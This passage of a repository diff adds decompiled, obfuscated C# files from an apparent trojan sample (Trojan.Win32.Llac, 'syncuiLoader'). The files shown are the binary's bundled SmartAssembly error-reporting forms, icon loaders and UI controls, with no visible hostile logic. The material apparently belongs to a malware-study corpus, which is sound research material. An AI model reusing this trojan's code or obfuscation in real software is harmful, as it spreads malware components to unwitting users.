+      this.\u0001 = (Image) \u0005.\u0005.\u0003("current");
+      this.\u0001 = true;
+      this.Refresh();
+    }
+
+    public void \u0005() => this.\u0003(string.Empty);
+
+    public void \u0003([In] string obj0)
+    {
+      this.\u0001 = obj0;
+      this.\u0001.Enabled = false;
+      this.\u0001 = (Image) \u0005.\u0005.\u0003(obj0.Length > 0 ? "error" : "ok");
+      this.\u0002 = true;
+      this.\u0001 = true;
+      if (obj0.Length > 0)
+        this.Height = 100;
+      this.Refresh();
+    }
+
+    protected override void OnResize([In] EventArgs obj0)
+    {
+      this.\u0001.SetBounds(Convert.ToInt32(22f * this.\u0001), Convert.ToInt32(this.\u0002), this.Width - Convert.ToInt32(22f * this.\u0001), this.Height - Convert.ToInt32(this.\u0002));
+      base.OnResize(obj0);
+    }
+
+    protected override void ScaleCore([In] float obj0, [In] float obj1)
+    {
+      this.\u0001 = obj0;
+      this.\u0002 = obj1;
+      base.ScaleCore(obj0, obj1);
+      this.OnResize(EventArgs.Empty);
+    }
+
+    protected override void OnPaint([In] PaintEventArgs obj0)
+    {
+      base.OnPaint(obj0);
+      if (this.DesignMode)
+      {
+        this.\u0001 = (Image) \u0005.\u0005.\u0003("current");
+        this.\u0001 = true;
+      }
+      if (this.\u0001 != null && this.\u0002)
+        obj0.Graphics.DrawImage(this.\u0001, new Rectangle(0, 0, Convert.ToInt32(16f * this.\u0001), Convert.ToInt32(16f * this.\u0002)), new Rectangle(0, 0, 16, 16), GraphicsUnit.Pixel);
+      if (this.\u0001)
+        this.\u0001.Text = this.\u0001.Length > 0 ? base.Text + " (" + this.\u0001 + ")" : base.Text;
+      else
+        this.\u0001.Text = string.Empty;
+    }
+
+    public \u0005()
+    {
+      this.\u0001.Interval = 250;
+      this.\u0001.Tick += new EventHandler(this.\u0003);
+      this.\u0001.FlatStyle = FlatStyle.System;
+      this.Controls.Add((Control) this.\u0001);
+      this.SetStyle(ControlStyles.UserPaint | ControlStyles.ResizeRedraw | ControlStyles.SupportsTransparentBackColor | ControlStyles.AllPaintingInWmPaint | ControlStyles.DoubleBuffer, true);
+      this.TabStop = false;
+    }
+
+    public \u0005([In] string obj0)
+      : this()
+    {
+      base.Text = " " + obj0;
+    }
+
+    protected override void Dispose([In] bool obj0)
+    {
+      if (obj0 && this.\u0001 != null)
+        goto label_2;
+label_1:
+      base.Dispose(obj0);
+      return;
+label_2:
+      this.\u0001.Dispose();
+      goto label_1;
+    }
+
+    private void \u0003([In] object obj0, [In] EventArgs obj1)
+    {
+      this.\u0002 = !this.\u0002;
+      this.Refresh();
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0005/Token2000049.cs

@@ -0,0 +1,12 @@
+// Decompiled with JetBrains decompiler
+// Type: .Token2000049
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+namespace \u0005
+{
+  internal class Token2000049 : \u0024Unresolved\u0024Token\u003A2003FFF
+  {
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0005/_0001.cs

@@ -0,0 +1,61 @@
+// Decompiled with JetBrains decompiler
+// Type: .

+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using System;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace \u0005
+{
+  internal sealed class \u0001 : EventArgs
+  {
+    private \u0003.\u0003 \u0001;
+    private Exception \u0001;
+    private bool \u0001;
+    private bool \u0002 = true;
+    private bool \u0003 = true;
+    private bool \u0004;
+
+    [SpecialName]
+    public Exception \u0003() => this.\u0001;
+
+    [SpecialName]
+    public bool \u0003() => this.\u0001;
+
+    [SpecialName]
+    public bool \u0004() => this.\u0002;
+
+    [SpecialName]
+    public bool \u0005() => this.\u0003;
+
+    internal void \u0003() => this.\u0001 = true;
+
+    internal void \u0004() => this.\u0002 = false;
+
+    internal void \u0005() => this.\u0003 = false;
+
+    [SpecialName]
+    public bool \u0006() => this.\u0004;
+
+    [SpecialName]
+    public void \u0003([In] bool obj0) => this.\u0004 = obj0;
+
+    public void \u0006()
+    {
+      if (!this.\u0001)
+        return;
+      this.\u0001.\u0003();
+    }
+
+    public bool \u0007() => this.\u0002 && this.\u0001.\u0003();
+
+    internal \u0001([In] \u0003.\u0003 obj0, [In] Exception obj1)
+    {
+      this.\u0001 = obj0;
+      this.\u0001 = obj1;
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0005/_0002.cs

@@ -0,0 +1,140 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using \u0005;
+using System;
+using System.Drawing;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace \u0005
+{
+  internal sealed class \u0002
+  {
+    [DllImport("shell32", EntryPoint = "ExtractIconEx")]
+    private static extern int \u0003([In] string obj0, [In] int obj1, [In] ref int obj2, [In] ref int obj3, [In] int obj4);
+
+    [DllImport("user32", EntryPoint = "DrawText", CharSet = CharSet.Unicode)]
+    private static extern int \u0003(
+      [In] IntPtr obj0,
+      [In] string obj1,
+      [In] int obj2,
+      [In] ref \u0002.\u0001 obj3,
+      [In] int obj4);
+
+    [DllImport("gdi32.dll", EntryPoint = "SelectObject")]
+    private static extern IntPtr \u0003([In] IntPtr obj0, [In] IntPtr obj1);
+
+    [DllImport("kernel32.Dll", EntryPoint = "GetVersionEx")]
+    private static extern short \u0003([In] ref \u0002.\u0002 obj0);
+
+    public static Icon \u0003()
+    {
+      try
+      {
+        return \u0002.\u0004();
+      }
+      catch (Exception ex)
+      {
+        return \u0005.\u0005.\u0003("default");
+      }
+    }
+
+    private static Icon \u0004()
+    {
+      int num1 = 0;
+      int num2 = 0;
+      if (\u0002.\u0003(Application.ExecutablePath, -1, ref num2, ref num2, 1) > 0)
+      {
+        \u0002.\u0003(Application.ExecutablePath, 0, ref num1, ref num2, 1);
+        if (num1 != 0)
+          return Icon.FromHandle(new IntPtr(num1));
+      }
+      return (Icon) null;
+    }
+
+    internal static string \u0003()
+    {
+      try
+      {
+        return \u0002.\u0004();
+      }
+      catch (Exception ex)
+      {
+        return string.Empty;
+      }
+    }
+
+    private static string \u0004()
+    {
+      \u0002.\u0002 obj = new \u0002.\u0002();
+      obj.\u0001 = Marshal.SizeOf(typeof (\u0002.\u0002));
+      int num = (int) \u0002.\u0003(ref obj);
+      return obj.\u0001;
+    }
+
+    internal static int \u0003([In] Graphics obj0, [In] string obj1, [In] Font obj2, [In] int obj3)
+    {
+      try
+      {
+        return \u0002.\u0005(obj0, obj1, obj2, obj3);
+      }
+      catch (Exception ex1)
+      {
+        try
+        {
+          return Convert.ToInt32((double) \u0002.\u0004(obj0, obj1, obj2, obj3) * 1.1);
+        }
+        catch (Exception ex2)
+        {
+        }
+      }
+      return 0;
+    }
+
+    private static int \u0004([In] Graphics obj0, [In] string obj1, [In] Font obj2, [In] int obj3) => Size.Ceiling(obj0.MeasureString(obj1, obj2, obj3)).Height;
+
+    private static int \u0005([In] Graphics obj0, [In] string obj1, [In] Font obj2, [In] int obj3)
+    {
+      \u0002.\u0001 obj = new \u0002.\u0001(new Rectangle(0, 0, obj3, 10000));
+      int num1 = 3088;
+      IntPtr hdc = obj0.GetHdc();
+      IntPtr hfont = obj2.ToHfont();
+      IntPtr num2 = \u0002.\u0003(hdc, hfont);
+      \u0002.\u0003(hdc, obj1, -1, ref obj, num1);
+      \u0002.\u0003(hdc, num2);
+      obj0.ReleaseHdc(hdc);
+      return obj.\u0004 - obj.\u0002;
+    }
+
+    private struct \u0001
+    {
+      public int \u0001;
+      public int \u0002;
+      public int \u0003;
+      public int \u0004;
+
+      public \u0001([In] Rectangle obj0)
+      {
+        this.\u0001 = obj0.Left;
+        this.\u0002 = obj0.Top;
+        this.\u0004 = obj0.Bottom;
+        this.\u0003 = obj0.Right;
+      }
+    }
+
+    private struct \u0002
+    {
+      public int \u0001;
+      public int \u0002;
+      public int \u0003;
+      public int \u0004;
+      public int \u0005;
+      [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
+      public string \u0001;
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0005/_0003.cs

@@ -0,0 +1,102 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using System;
+using System.Diagnostics;
+using System.Drawing;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace \u0005
+{
+  internal sealed class \u0003 : Control
+  {
+    private Label \u0001 = new Label();
+    private PictureBox \u0001 = new PictureBox();
+    private ToolTip \u0001 = new ToolTip();
+    private float \u0001 = 1f;
+    private float \u0002 = 1f;
+
+    protected override void OnResize([In] EventArgs obj0)
+    {
+      this.Size = new Size(Convert.ToInt32(120f * this.\u0001), Convert.ToInt32(32f * this.\u0002));
+      base.OnResize(obj0);
+    }
+
+    protected override void ScaleCore([In] float obj0, [In] float obj1)
+    {
+      this.\u0001 = obj0;
+      this.\u0002 = obj1;
+      base.ScaleCore(obj0, obj1);
+      this.OnResize(EventArgs.Empty);
+    }
+
+    protected override void Dispose([In] bool obj0)
+    {
+      if (obj0)
+        goto label_4;
+label_3:
+      base.Dispose(obj0);
+      return;
+label_4:
+      if (this.\u0001 != null)
+        goto label_5;
+label_1:
+      if (this.\u0001 != null)
+      {
+        this.\u0001.Dispose();
+        goto label_3;
+      }
+      else
+        goto label_3;
+label_5:
+      this.\u0001.Dispose();
+      goto label_1;
+    }
+
+    private void \u0003([In] object obj0, [In] EventArgs obj1)
+    {
+      try
+      {
+        this.\u0003();
+      }
+      catch
+      {
+      }
+    }
+
+    private void \u0003() => Process.Start("http://www.smartassembly.com/redirect/?LinkID=1002");
+
+    public \u0003()
+    {
+      this.SuspendLayout();
+      this.\u0001.FlatStyle = FlatStyle.System;
+      this.\u0001.Location = new Point(10, 10);
+      this.\u0001.Size = new Size(62, 24);
+      this.\u0001.Text = "Powered by";
+      this.\u0001.Image = (Image) \u0005.\u0005.\u0003("{logo}");
+      this.\u0001.Location = new Point(72, 0);
+      this.\u0001.Size = new Size(48, 32);
+      this.\u0001.SizeMode = PictureBoxSizeMode.StretchImage;
+      this.\u0001.Click += new EventHandler(this.\u0003);
+      this.\u0001.Click += new EventHandler(this.\u0003);
+      this.Click += new EventHandler(this.\u0003);
+      this.Cursor = Cursors.Hand;
+      this.TabStop = false;
+      this.Size = new Size(120, 32);
+      this.Controls.AddRange(new Control[2]
+      {
+        (Control) this.\u0001,
+        (Control) this.\u0001
+      });
+      string caption = "Powered by {smartassembly}";
+      this.\u0001.SetToolTip((Control) this, caption);
+      this.\u0001.SetToolTip((Control) this.\u0001, caption);
+      this.\u0001.SetToolTip((Control) this.\u0001, caption);
+      this.ResumeLayout(true);
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0005/_0004.cs

@@ -0,0 +1,15 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+namespace \u0005
+{
+  internal enum \u0004
+  {
+    \u0001,
+    \u0002,
+    \u0003,
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0005/_0005.cs

@@ -0,0 +1,42 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using System.Drawing;
+using System.IO;
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+namespace \u0005
+{
+  internal sealed class \u0005
+  {
+    public static Bitmap \u0003([In] string obj0)
+    {
+      try
+      {
+        Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream("SmartAssembly.SmartExceptionsCore.Resources." + obj0 + ".png");
+        return manifestResourceStream == null ? (Bitmap) null : new Bitmap(manifestResourceStream);
+      }
+      catch
+      {
+        return (Bitmap) null;
+      }
+    }
+
+    public static Icon \u0003([In] string obj0)
+    {
+      try
+      {
+        Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream("SmartAssembly.SmartExceptionsCore.Resources." + obj0 + ".ico");
+        return manifestResourceStream == null ? (Icon) null : new Icon(manifestResourceStream);
+      }
+      catch
+      {
+        return (Icon) null;
+      }
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0006/Token200004A.cs

@@ -0,0 +1,12 @@
+// Decompiled with JetBrains decompiler
+// Type: .Token200004A
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+namespace \u0006
+{
+  internal class Token200004A : \u0024Unresolved\u0024Token\u003A2003FFF
+  {
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0006/_0001.cs

@@ -0,0 +1,27 @@
+// Decompiled with JetBrains decompiler
+// Type: .

+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using \u0006;
+using System.Runtime.InteropServices;
+
+namespace \u0006
+{
+  internal sealed class \u0001
+  {
+    internal static \u0001.\u0001 \u0001;
+    internal static \u0001.\u0002 \u0001;
+
+    [StructLayout(LayoutKind.Explicit, Size = 124, Pack = 1)]
+    private struct \u0001
+    {
+    }
+
+    [StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)]
+    private struct \u0002
+    {
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0006/_0002.cs

@@ -0,0 +1,361 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using \u0003;
+using \u0004;
+using \u0005;
+using System;
+using System.ComponentModel;
+using System.Drawing;
+using System.Runtime.InteropServices;
+using System.Threading;
+using System.Windows.Forms;
+
+namespace \u0006
+{
+  internal sealed class \u0002 : Form
+  {
+    private \u0003.\u0003 \u0001;
+    private \u0001 \u0001;
+    private Thread \u0001;
+    private CheckBox \u0001 = new CheckBox();
+    private Label \u0001 = new Label();
+    private Button \u0001 = new Button();
+    private Button \u0002 = new Button();
+    private Label \u0002 = new Label();
+    private \u0002.\u0005 \u0001 = new \u0002.\u0005();
+    private Panel \u0001 = new Panel();
+    private Panel \u0002 = new Panel();
+    private Button \u0003 = new Button();
+    private \u0001 \u0001 = new \u0001();
+    private \u0004.\u0005 \u0001 = new \u0004.\u0005("Preparing the error report.");
+    private \u0004.\u0005 \u0002 = new \u0004.\u0005("Connecting to server.");
+    private \u0004.\u0005 \u0003 = new \u0004.\u0005("Transferring report.");
+    private \u0004.\u0005 \u0004 = new \u0004.\u0005("Error reporting completed. Thank you.");
+    private Button \u0004 = new Button();
+    private Button \u0005 = new Button();
+    private \u0003.\u0004 \u0001 = new \u0003.\u0004(string.Format("{0} has encountered a problem.\nWe are sorry for the inconvenience.", (object) "Morph_12.06.2011_224918"));
+    private \u0003.\u0004 \u0002 = new \u0003.\u0004(string.Format("Please wait while {0} is sending the report to {1} through the Internet.", (object) "Morph_12.06.2011_224918", (object) "[Unknown Company]"));
+    private \u0005.\u0003 \u0001 = new \u0005.\u0003();
+    private Button \u0006 = new Button();
+
+    private void \u0003()
+    {
+      this.\u0001.SuspendLayout();
+      this.\u0002.SuspendLayout();
+      this.SuspendLayout();
+      this.\u0001.\u0003(\u0005.\u0004.\u0002);
+      this.\u0002.\u0003(\u0005.\u0004.\u0002);
+      this.\u0001.Anchor = AnchorStyles.Bottom | AnchorStyles.Left;
+      this.\u0001.FlatStyle = FlatStyle.System;
+      this.\u0001.Location = new Point(22, 98);
+      this.\u0001.Size = new Size(226, 16);
+      this.\u0001.TabIndex = 13;
+      this.\u0001.Text = "Ignore this error and attempt to &continue.";
+      this.\u0001.CheckedChanged += new EventHandler(this.\u0007);
+      this.\u0001.Anchor = AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right;
+      this.\u0001.FlatStyle = FlatStyle.System;
+      this.\u0001.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
+      this.\u0001.Location = new Point(20, 124);
+      this.\u0001.Size = new Size(381, 16);
+      this.\u0001.Text = string.Format("Please tell {0} about this problem.", (object) "[Unknown Company]");
+      this.\u0001.Anchor = AnchorStyles.Bottom | AnchorStyles.Right;
+      this.\u0001.FlatStyle = FlatStyle.System;
+      this.\u0001.Size = new Size(75, 24);
+      this.\u0001.Location = new Point(400 - this.\u0001.Width, 205);
+      this.\u0001.TabIndex = 4;
+      this.\u0001.Text = "&Don't Send";
+      this.\u0001.Click += new EventHandler(this.\u0004);
+      this.\u0002.Anchor = AnchorStyles.Bottom | AnchorStyles.Right;
+      this.\u0002.FlatStyle = FlatStyle.System;
+      this.\u0002.Size = new Size(105, 24);
+      this.\u0002.Location = new Point(this.\u0001.Left - this.\u0002.Width - 6, 205);
+      this.\u0002.TabIndex = 3;
+      this.\u0002.Text = "&Send Error Report";
+      this.\u0002.Click += new EventHandler(this.\u0003);
+      this.\u0006.Anchor = AnchorStyles.Bottom | AnchorStyles.Right;
+      this.\u0006.FlatStyle = FlatStyle.System;
+      this.\u0006.Size = new Size(64, 24);
+      this.\u0006.Location = new Point(this.\u0002.Left - this.\u0006.Width - 6, 205);
+      this.\u0006.TabIndex = 14;
+      this.\u0006.Text = "De&bug";
+      this.\u0006.Visible = false;
+      this.\u0006.Click += new EventHandler(this.\u0010);
+      this.\u0002.Anchor = AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right;
+      this.\u0002.FlatStyle = FlatStyle.System;
+      this.\u0002.Location = new Point(20, 140);
+      this.\u0002.Size = new Size(381, 55);
+      this.\u0002.Text = string.Format("To help improve the software you use, {0} is interested in learning more about this error. We have created a report about the error for you to send to us.", (object) "[Unknown Company]");
+      this.\u0001.Anchor = AnchorStyles.Top | AnchorStyles.Left | AnchorStyles.Right;
+      this.\u0001.Location = new Point(20, 69);
+      this.\u0001.Size = new Size(381, 13);
+      this.\u0003.Anchor = AnchorStyles.Bottom | AnchorStyles.Right;
+      this.\u0003.FlatStyle = FlatStyle.System;
+      this.\u0003.Size = new Size(80, 24);
+      this.\u0003.Location = new Point(400 - this.\u0003.Width, 205);
+      this.\u0003.TabIndex = 7;
+      this.\u0003.Text = "&Cancel";
+      this.\u0003.Click += new EventHandler(this.\u0005);
+      this.\u0004.Anchor = AnchorStyles.Bottom | AnchorStyles.Right;
+      this.\u0004.Enabled = false;
+      this.\u0004.FlatStyle = FlatStyle.System;
+      this.\u0004.Size = new Size(80, 24);
+      this.\u0004.Location = new Point(this.\u0003.Left - this.\u0004.Width - 6, 205);
+      this.\u0004.TabIndex = 6;
+      this.\u0004.Text = "&OK";
+      this.\u0004.Click += new EventHandler(this.\u0006);
+      this.\u0005.Anchor = AnchorStyles.Bottom | AnchorStyles.Right;
+      this.\u0005.FlatStyle = FlatStyle.System;
+      this.\u0005.Location = this.\u0004.Location;
+      this.\u0005.Size = this.\u0004.Size;
+      this.\u0005.TabIndex = 5;
+      this.\u0005.Text = "&Retry";
+      this.\u0005.Visible = false;
+      this.\u0005.Click += new EventHandler(this.\u000F);
+      this.\u0001.Location = new Point(87, 146);
+      this.\u0001.Visible = false;
+      this.\u0001.SetBounds(24, 72, 368, 16);
+      this.\u0002.SetBounds(24, 96, 368, 16);
+      this.\u0003.SetBounds(24, 120, 368, 16);
+      this.\u0004.SetBounds(24, 144, 368, 16);
+      this.\u0001.Anchor = AnchorStyles.Bottom | AnchorStyles.Left;
+      this.\u0001.SetBounds(6, 450, 120, 32);
+      this.\u0001.Controls.AddRange(new Control[8]
+      {
+        (Control) this.\u0006,
+        (Control) this.\u0001,
+        (Control) this.\u0001,
+        (Control) this.\u0001,
+        (Control) this.\u0002,
+        (Control) this.\u0002,
+        (Control) this.\u0001,
+        (Control) this.\u0001
+      });
+      this.\u0001.Size = new Size(413, 240);
+      this.\u0001.TabIndex = 0;
+      this.\u0002.Controls.AddRange(new Control[9]
+      {
+        (Control) this.\u0003,
+        (Control) this.\u0004,
+        (Control) this.\u0005,
+        (Control) this.\u0001,
+        (Control) this.\u0002,
+        (Control) this.\u0001,
+        (Control) this.\u0002,
+        (Control) this.\u0003,
+        (Control) this.\u0004
+      });
+      this.\u0002.Size = new Size(413, 240);
+      this.\u0002.TabIndex = 2;
+      this.\u0002.Visible = false;
+      this.AutoScaleBaseSize = new Size(5, 13);
+      this.ClientSize = new Size(434, 488);
+      this.ControlBox = false;
+      this.Controls.AddRange(new Control[3]
+      {
+        (Control) this.\u0001,
+        (Control) this.\u0001,
+        (Control) this.\u0002
+      });
+      this.FormBorderStyle = FormBorderStyle.FixedSingle;
+      this.ShowInTaskbar = false;
+      this.MinimizeBox = false;
+      this.MaximizeBox = false;
+      this.StartPosition = FormStartPosition.CenterScreen;
+      this.Text = "Morph_12.06.2011_224918";
+      if (this.Text.Length == 0)
+        this.Text = "Error Reporting";
+      try
+      {
+        this.TopMost = true;
+      }
+      catch
+      {
+      }
+      this.\u0001.ResumeLayout(false);
+      this.\u0002.ResumeLayout(false);
+      this.ResumeLayout(false);
+      this.\u0005.BringToFront();
+      this.Size = new Size(419, 264);
+      this.\u0002.Dock = DockStyle.Fill;
+      this.\u0001.Dock = DockStyle.Fill;
+    }
+
+    private void \u0003([In] object obj0, [In] EventArgs obj1)
+    {
+      try
+      {
+        this.\u0001.Visible = false;
+        this.\u0002.Visible = true;
+        this.\u0001.Visible = true;
+        if (this.\u0001 == null)
+          return;
+        this.\u0003(new ThreadStart(this.\u0004));
+      }
+      catch
+      {
+      }
+    }
+
+    private void \u0003([In] ThreadStart obj0)
+    {
+      this.\u0001 = new Thread(obj0);
+      this.\u0001.Start();
+    }
+
+    private void \u0004([In] object obj0, [In] EventArgs obj1) => this.Close();
+
+    private void \u0005([In] object obj0, [In] EventArgs obj1)
+    {
+      try
+      {
+        if (this.\u0001 != null)
+          this.\u0001.Abort();
+      }
+      catch
+      {
+      }
+      this.Close();
+    }
+
+    private void \u0006([In] object obj0, [In] EventArgs obj1) => this.Close();
+
+    private void \u0007([In] object obj0, [In] EventArgs obj1) => this.\u0001.\u0003(this.\u0001.Checked);
+
+    private void \u0003([In] object obj0, [In] \u0001 obj1)
+    {
+      try
+      {
+        // ISSUE: method pointer
+        this.Invoke((Delegate) new \u0003.\u0005((object) this, __methodptr(\u0004)), obj0, (object) obj1);
+      }
+      catch (InvalidOperationException ex)
+      {
+      }
+    }
+
+    private void \u0008([In] object obj0, [In] EventArgs obj1)
+    {
+      try
+      {
+        // ISSUE: method pointer
+        this.Invoke((Delegate) new EventHandler((object) this, __methodptr(\u000E)), obj0, (object) obj1);
+      }
+      catch (InvalidOperationException ex)
+      {
+      }
+    }
+
+    protected override void OnClosing([In] CancelEventArgs obj0)
+    {
+      if (this.\u0001 != null && this.\u0001.IsAlive)
+        this.\u0001.Abort();
+      base.OnClosing(obj0);
+    }
+
+    private void \u0004([In] object obj0, [In] \u0001 obj1)
+    {
+      switch (obj1.\u0003())
+      {
+        case \u0002.\u0004.\u0001:
+          if (obj1.\u0003())
+          {
+            this.\u0001.\u0003(obj1.\u0003());
+            this.\u0005.Visible = true;
+            this.\u0005.Focus();
+            break;
+          }
+          this.\u0001.\u0004();
+          break;
+        case \u0002.\u0004.\u0002:
+          if (obj1.\u0003())
+          {
+            this.\u0002.\u0003(obj1.\u0003());
+            this.\u0005.Visible = true;
+            this.\u0005.Focus();
+            break;
+          }
+          this.\u0001.\u0005();
+          this.\u0002.\u0004();
+          break;
+        case \u0002.\u0004.\u0003:
+          if (obj1.\u0003())
+          {
+            this.\u0001.Visible = false;
+            this.\u0003.\u0003(obj1.\u0003());
+            this.\u0005.Visible = true;
+            this.\u0005.Focus();
+            break;
+          }
+          this.\u0002.\u0005();
+          this.\u0003.\u0004();
+          this.\u0001.Visible = true;
+          break;
+        case \u0002.\u0004.\u0004:
+          this.\u0001.Visible = false;
+          this.\u0003.\u0005();
+          this.\u0004.\u0005();
+          this.\u0004.Enabled = true;
+          this.\u0004.Focus();
+          this.\u0003.Enabled = false;
+          break;
+      }
+    }
+
+    private void \u000E([In] object obj0, [In] EventArgs obj1) => this.Close();
+
+    private void \u000F([In] object obj0, [In] EventArgs obj1)
+    {
+      this.\u0005.Visible = false;
+      this.\u0001.\u0003();
+      this.\u0002.\u0003();
+      this.\u0003.\u0003();
+      if (this.\u0001 == null)
+        return;
+      this.\u0003(new ThreadStart(this.\u0004));
+    }
+
+    private void \u0004() => this.\u0001.\u0007();
+
+    private void \u0010([In] object obj0, [In] EventArgs obj1)
+    {
+      if (this.\u0001 == null)
+        return;
+      this.\u0003(new ThreadStart(this.\u0001.\u0006));
+    }
+
+    public \u0002([In] \u0003.\u0003 obj0, [In] \u0001 obj1)
+    {
+      this.\u0003();
+      int height = this.Height;
+      this.\u0001 = obj1;
+      this.\u0001 = obj0;
+      this.\u0001.Text = obj1.\u0003().Message;
+      int num = height + (this.\u0001.Height - this.FontHeight);
+      if (!obj1.\u0005())
+      {
+        this.\u0001.Visible = false;
+        num -= this.\u0001.Height;
+      }
+      if (num > this.Height)
+        this.Height = num;
+      if (obj1.\u0003())
+      {
+        obj0.\u0003(new EventHandler(this.\u0008));
+        this.\u0006.Visible = true;
+        if (this.\u0006.Left < this.\u0001.Right)
+          this.\u0001.Visible = false;
+      }
+      if (!obj1.\u0004())
+      {
+        this.\u0002.Enabled = false;
+        if (this.\u0001.CanFocus)
+          this.\u0001.Focus();
+      }
+      obj0.\u0003(new \u0003.\u0005(this.\u0003));
+    }
+  }
+}

MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253/_0006/_0003.cs

@@ -0,0 +1,65 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
+
+using \u0004;
+using \u0005;
+using \u0006;
+using System;
+using System.Reflection;
+using System.Runtime.InteropServices;
+using System.Security;
+using System.Windows.Forms;
+
+namespace \u0006
+{
+  internal sealed class \u0003 : \u0003.\u0003
+  {
+    protected override void \u0003([In] \u0002 obj0)
+    {
+      int num = (int) new \u0006.\u0004(obj0).ShowDialog();
+    }
+
+    protected override void \u0003([In] \u0001 obj0)
+    {
